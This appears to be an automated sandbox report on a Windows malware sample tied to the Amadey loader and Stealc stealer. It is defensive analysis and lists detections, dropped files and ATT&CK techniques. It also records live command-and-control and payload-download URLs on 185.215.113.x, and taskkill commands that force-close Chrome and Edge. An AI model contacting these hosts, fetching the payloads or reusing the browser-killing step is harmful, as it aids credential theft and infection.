Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

6_2_00AC0B62

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00AC1663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

6_2_00AC1663

Source: c0968d0b44.exe, 00000006.00000000.2751998785.0000000000B22000.00000002.00000001.01000000.00000009.sdmp, c0968d0b44.exe, 00000017.00000002.2993631431.0000000000B22000.00000002.00000001.01000000.00000009.sdmp, c0968d0b44.exe, 00000031.00000000.3048323788.0000000000B22000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: file.exe, 00000000.00000002.2196618377.0000000000FA4000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2223771556.0000000000774000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: oxn$=Program Manager
Source: skotes.exe, skotes.exe, 00000005.00000002.7314878602.0000000000774000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: xn$=Program Manager
Source: c0968d0b44.exe	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0059D3E2 cpuid

5_2_0059D3E2

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0059CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

5_2_0059CBEA

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00ABD27A GetUserNameW,

6_2_00ABD27A

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00A9B952 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,

6_2_00A9B952

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe

Code function: 6_2_00A642DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

6_2_00A642DE

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.580000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.7314679231.0000000000581000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.2179762911.0000000004CB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2196541682.0000000000DB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2679853032.0000000004BC0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2223310225.0000000000581000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2154412157.0000000004810000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: c0968d0b44.exe PID: 1864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c0968d0b44.exe PID: 6116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c0968d0b44.exe PID: 4508, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 20.2.7d57c960f4.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 72.2.7d57c960f4.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 46.2.7d57c960f4.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002E.00000002.3014643048.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2853200154.000000000131E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000048.00000002.3176320854.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2811437175.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000048.00000003.3136026898.00000000054A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.3013609480.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2852426482.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.2972457560.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7d57c960f4.exe PID: 2516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7d57c960f4.exe PID: 3496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7d57c960f4.exe PID: 6204, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: c0968d0b44.exe	Binary or memory string: WIN_81
Source: c0968d0b44.exe	Binary or memory string: WIN_XP
Source: random[1].exe.5.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: c0968d0b44.exe	Binary or memory string: WIN_XPe
Source: c0968d0b44.exe	Binary or memory string: WIN_VISTA
Source: c0968d0b44.exe	Binary or memory string: WIN_7
Source: c0968d0b44.exe	Binary or memory string: WIN_8

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: c0968d0b44.exe PID: 1864, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c0968d0b44.exe PID: 6116, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: c0968d0b44.exe PID: 4508, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 20.2.7d57c960f4.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 72.2.7d57c960f4.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 46.2.7d57c960f4.exe.b10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002E.00000002.3014643048.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2853200154.000000000131E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000048.00000002.3176320854.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2811437175.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000048.00000003.3136026898.00000000054A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.3013609480.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2852426482.0000000000B11000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.2972457560.0000000005030000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7d57c960f4.exe PID: 2516, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7d57c960f4.exe PID: 3496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 7d57c960f4.exe PID: 6204, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AE1204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		6_2_00AE1204
Source: C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	Code function: 6_2_00AE1806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		6_2_00AE1806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	121 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	111 Registry Run Keys / Startup Folder	21 Access Token Manipulation	12 Software Packing	NTDS	228 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	861 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	11 Masquerading	Cached Domain Credentials	351 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	111 Registry Run Keys / Startup Folder	2 Valid Accounts	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	351 Virtualization/Sandbox Evasion	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	21 Access Token Manipulation	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	58%	ReversingLabs	Win32.Packed.Generic
file.exe	60%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000332001\c0968d0b44.exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000332001\da8dfab19c.exe	11%	ReversingLabs
C:\Users\user\AppData\Local\Temp\1000333001\634af23a05.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1000333001\7d57c960f4.exe	42%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	58%	ReversingLabs	Win32.Packed.Generic

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
youtube-ui.l.google.com	0%	Virustotal	Browse
www3.l.google.com	0%	Virustotal	Browse
play.google.com	0%	Virustotal	Browse
www.google.com	0%	Virustotal	Browse
youtube.com	0%	Virustotal	Browse
accounts.youtube.com	0%	Virustotal	Browse
www.youtube.com	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
https://apis.google.com/js/api.js	0%	URL Reputation	safe
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
youtube-ui.l.google.com	142.250.185.142	true	false	0%, Virustotal, Browse	unknown
www3.l.google.com	216.58.206.78	true	false	0%, Virustotal, Browse	unknown
play.google.com	216.58.206.78	true	false	0%, Virustotal, Browse	unknown
www.google.com	142.250.186.132	true	false	0%, Virustotal, Browse	unknown
youtube.com	142.250.186.174	true	false	0%, Virustotal, Browse	unknown
accounts.youtube.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	false	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.103/steam/random.exe	false		unknown
http://185.215.113.43/Zu7JuNko/index.php	true		unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.103/well/random.exe	false		unknown
https://play.google.com/log?format=json&hasfast=true&authuser=0	false		unknown
https://www.google.com/favicon.ico	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/on:	7d57c960f4.exe, 0000002E.00000002.3014643048.0000000001218000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.43/Zu7JuNko/index.php%$l	skotes.exe, 00000005.00000002.7318455545.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/fae1daa8882e8f8e6b1ca72dd534db057eb-1003xu_	skotes.exe, 00000005.00000002.7318455545.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.php3001	skotes.exe, 00000005.00000002.7318455545.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded75	skotes.exe, 00000005.00000002.7318455545.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37	7d57c960f4.exe, 00000014.00000002.2853200154.000000000131E000.00000004.00000020.00020000.00000000.sdmp, 7d57c960f4.exe, 0000002E.00000002.3014643048.00000000011DB000.00000004.00000020.00020000.00000000.sdmp, 7d57c960f4.exe, 00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpncoded	skotes.exe, 00000005.00000002.7318455545.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpnu	skotes.exe, 00000005.00000002.7318455545.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.103/well/random.exeencoded	skotes.exe, 00000005.00000002.7318455545.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpn	7d57c960f4.exe, 00000014.00000002.2853200154.000000000138F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.43/Zu7JuNko/index.php38c2817dba29a4b5b25dcf02	skotes.exe, 00000005.00000002.7318455545.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/TW	7d57c960f4.exe, 00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpm	7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.103/steam/random.exeYef	skotes.exe, 00000005.00000002.7318455545.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpp	7d57c960f4.exe, 00000014.00000002.2853200154.0000000001363000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37K	7d57c960f4.exe, 00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/v	7d57c960f4.exe, 0000002E.00000002.3014643048.000000000122D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpy	7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/A=&	7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.43/Zu7JuNko/index.phpcoded	skotes.exe, 00000005.00000002.7318455545.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/$=	7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/N=_	7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpM	7d57c960f4.exe, 00000014.00000002.2853200154.000000000138F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpL	7d57c960f4.exe, 0000002E.00000002.3014643048.000000000122D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/lU	7d57c960f4.exe, 00000048.00000002.3177655961.00000000017DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.43/c00b58981f4a4e1a0ce7e9f0e5ebf5de043E6	skotes.exe, 00000005.00000002.7318455545.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/ws	7d57c960f4.exe, 0000002E.00000002.3014643048.0000000001218000.00000004.00000020.00020000.00000000.sdmp, 7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://apis.google.com/js/api.js	chromecache_93.19.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpA	7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpD	7d57c960f4.exe, 00000014.00000002.2853200154.0000000001363000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpJ	7d57c960f4.exe, 00000014.00000002.2853200154.000000000138F000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	chromecache_93.19.dr	false	URL Reputation: safe	unknown
http://185.215.113.43/Zu7JuNko/index.php6$	skotes.exe, 00000005.00000002.7318455545.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phps	skotes.exe, 00000005.00000002.7318455545.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.103/well/random.exe13	skotes.exe, 00000005.00000002.7318455545.0000000000EC1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.43/Zu7JuNko/index.phpncodedS5	skotes.exe, 00000005.00000002.7318455545.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/=	7d57c960f4.exe, 0000002E.00000002.3014643048.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.43/Zu7JuNko/index.php8s	skotes.exe, 00000005.00000002.7318455545.0000000000EEE000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/e2b1563c6670f193.php-=	7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php8	7d57c960f4.exe, 00000014.00000002.2853200154.0000000001363000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.43/Zu7JuNko/index.phpded	skotes.exe, 00000005.00000002.7318455545.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/C:	7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php%	7d57c960f4.exe, 0000002E.00000002.3014643048.000000000122D000.00000004.00000020.00020000.00000000.sdmp, 7d57c960f4.exe, 00000048.00000002.3177655961.000000000182D000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.174	youtube.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.142	youtube-ui.l.google.com	United States	15169	GOOGLEUS	false
142.250.186.132	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.103	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524650
Start date and time:	2024-10-03 03:25:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 17m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	75
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@171/27@16/8
EGA Information:	Successful, ratio: 28.6%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
